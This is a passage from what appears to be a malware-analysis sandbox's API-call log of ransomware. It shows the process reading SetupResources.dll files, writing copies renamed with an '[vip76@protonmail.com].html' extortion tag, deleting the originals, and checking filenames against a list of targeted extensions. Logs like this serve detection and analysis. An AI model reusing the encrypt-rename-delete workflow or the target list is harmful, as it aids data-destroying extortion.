	[0061.460] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x3d58, lpOverlapped=0x0) returned 1
	[0061.462] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3d60, lpOverlapped=0x0) returned 1
	[0061.464] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.464] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.464] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.464] CloseHandle (hObject=0x2e4) returned 1
	[0061.465] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.465] SetEndOfFile (hFile=0x320) returned 1
	[0061.466] CloseHandle (hObject=0x320) returned 1
	[0061.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.467] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1
	[0061.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.467] lstrlenW (lpString=".doc") returned 4
	[0061.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.467] lstrlenW (lpString=".docx") returned 5
	[0061.467] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.468] lstrlenW (lpString=".pdf") returned 4
	[0061.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.468] lstrlenW (lpString=".xls") returned 4
	[0061.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.468] lstrlenW (lpString=".xlsx") returned 5
	[0061.468] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.468] lstrlenW (lpString=".ppt") returned 4
	[0061.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.468] lstrlenW (lpString=".zip") returned 4
	[0061.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.468] lstrlenW (lpString=".rar") returned 4
	[0061.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.468] lstrlenW (lpString=".bz2") returned 4
	[0061.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.468] lstrlenW (lpString=".7z") returned 3
	[0061.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.468] lstrlenW (lpString=".dbf") returned 4
	[0061.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.468] lstrlenW (lpString=".1cd") returned 4
	[0061.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.468] lstrlenW (lpString=".jpg") returned 4
	[0061.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.469] lstrlenW (lpString=".doc") returned 4
	[0061.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString=".docx") returned 5
	[0061.469] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.469] lstrlenW (lpString=".pdf") returned 4
	[0061.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString=".xls") returned 4
	[0061.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString=".xlsx") returned 5
	[0061.469] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.469] lstrlenW (lpString=".ppt") returned 4
	[0061.469] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.469] lstrlenW (lpString=".zip") returned 4
	[0061.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString=".rar") returned 4
	[0061.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.469] lstrlenW (lpString=".bz2") returned 4
	[0061.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.469] lstrlenW (lpString=".7z") returned 3
	[0061.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.469] lstrlenW (lpString=".dbf") returned 4
	[0061.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.470] lstrlenW (lpString=".1cd") returned 4
	[0061.470] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0061.470] lstrlenW (lpString=".jpg") returned 4
	[0061.470] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.470] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.470] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.470] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.470] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15192) returned 1
	[0061.470] CloseHandle (hObject=0x320) returned 1
	[0061.470] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80
	[0061.471] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.471] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.471] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.021] GetLastError () returned 0x0
	[0062.021] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x3b58, lpOverlapped=0x0) returned 1
	[0062.022] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3b60, lpOverlapped=0x0) returned 1
	[0062.024] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.024] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.024] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.024] CloseHandle (hObject=0x2f8) returned 1
	[0062.025] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.025] SetEndOfFile (hFile=0x320) returned 1
	[0062.026] CloseHandle (hObject=0x320) returned 1
	[0062.026] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.026] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1
	[0062.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.026] lstrlenW (lpString=".doc") returned 4
	[0062.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".docx") returned 5
	[0062.027] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.027] lstrlenW (lpString=".pdf") returned 4
	[0062.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".xls") returned 4
	[0062.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".xlsx") returned 5
	[0062.027] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.027] lstrlenW (lpString=".ppt") returned 4
	[0062.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.027] lstrlenW (lpString=".zip") returned 4
	[0062.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".rar") returned 4
	[0062.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString=".bz2") returned 4
	[0062.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.027] lstrlenW (lpString=".7z") returned 3
	[0062.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.027] lstrlenW (lpString=".dbf") returned 4
	[0062.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.027] lstrlenW (lpString=".1cd") returned 4
	[0062.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.027] lstrlenW (lpString=".jpg") returned 4
	[0062.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.028] lstrlenW (lpString=".doc") returned 4
	[0062.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString=".docx") returned 5
	[0062.028] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.028] lstrlenW (lpString=".pdf") returned 4
	[0062.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString=".xls") returned 4
	[0062.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString=".xlsx") returned 5
	[0062.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.028] lstrlenW (lpString=".ppt") returned 4
	[0062.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.028] lstrlenW (lpString=".zip") returned 4
	[0062.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString=".rar") returned 4
	[0062.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.028] lstrlenW (lpString=".bz2") returned 4
	[0062.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.028] lstrlenW (lpString=".7z") returned 3
	[0062.028] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.028] lstrlenW (lpString=".dbf") returned 4
	[0062.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.028] lstrlenW (lpString=".1cd") returned 4
	[0062.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0062.028] lstrlenW (lpString=".jpg") returned 4
	[0062.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.029] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.029] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.029] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=18264) returned 1
	[0062.029] CloseHandle (hObject=0x320) returned 1
	[0062.029] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80
	[0062.029] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.029] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.029] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.031] GetLastError () returned 0x0
	[0062.031] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0062.033] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0062.034] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.034] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.035] CloseHandle (hObject=0x2f8) returned 1
	[0062.036] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.036] SetEndOfFile (hFile=0x320) returned 1
	[0062.037] CloseHandle (hObject=0x320) returned 1
	[0062.037] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.037] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1
	[0062.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.037] lstrlenW (lpString=".doc") returned 4
	[0062.037] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".docx") returned 5
	[0062.038] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.038] lstrlenW (lpString=".pdf") returned 4
	[0062.038] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".xls") returned 4
	[0062.038] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".xlsx") returned 5
	[0062.038] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.038] lstrlenW (lpString=".ppt") returned 4
	[0062.038] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString=".zip") returned 4
	[0062.038] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".rar") returned 4
	[0062.038] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".bz2") returned 4
	[0062.038] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.038] lstrlenW (lpString=".7z") returned 3
	[0062.038] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString=".dbf") returned 4
	[0062.038] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString=".1cd") returned 4
	[0062.038] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString=".jpg") returned 4
	[0062.038] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.038] lstrlenW (lpString=".doc") returned 4
	[0062.038] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.038] lstrlenW (lpString=".docx") returned 5
	[0062.039] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.039] lstrlenW (lpString=".pdf") returned 4
	[0062.039] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".xls") returned 4
	[0062.039] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".xlsx") returned 5
	[0062.039] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.039] lstrlenW (lpString=".ppt") returned 4
	[0062.039] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.039] lstrlenW (lpString=".zip") returned 4
	[0062.039] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".rar") returned 4
	[0062.039] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.039] lstrlenW (lpString=".bz2") returned 4
	[0062.039] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.039] lstrlenW (lpString=".7z") returned 3
	[0062.039] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.039] lstrlenW (lpString=".dbf") returned 4
	[0062.039] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.039] lstrlenW (lpString=".1cd") returned 4
	[0062.039] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0062.039] lstrlenW (lpString=".jpg") returned 4
	[0062.039] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.039] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.040] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.040] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17752) returned 1
	[0062.040] CloseHandle (hObject=0x320) returned 1
	[0062.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80
	[0062.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.040] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.041] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.042] GetLastError () returned 0x0
	[0062.042] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4558, lpOverlapped=0x0) returned 1
	[0062.044] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4560, lpOverlapped=0x0) returned 1
	[0062.045] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.045] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.045] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.045] CloseHandle (hObject=0x2f8) returned 1
	[0062.047] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.047] SetEndOfFile (hFile=0x320) returned 1
	[0062.047] CloseHandle (hObject=0x320) returned 1
	[0062.048] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.048] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1
	[0062.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0062.048] lstrlenW (lpString=".doc") returned 4
	[0062.048] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.048] lstrlenW (lpString=".docx") returned 5
	[0062.048] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
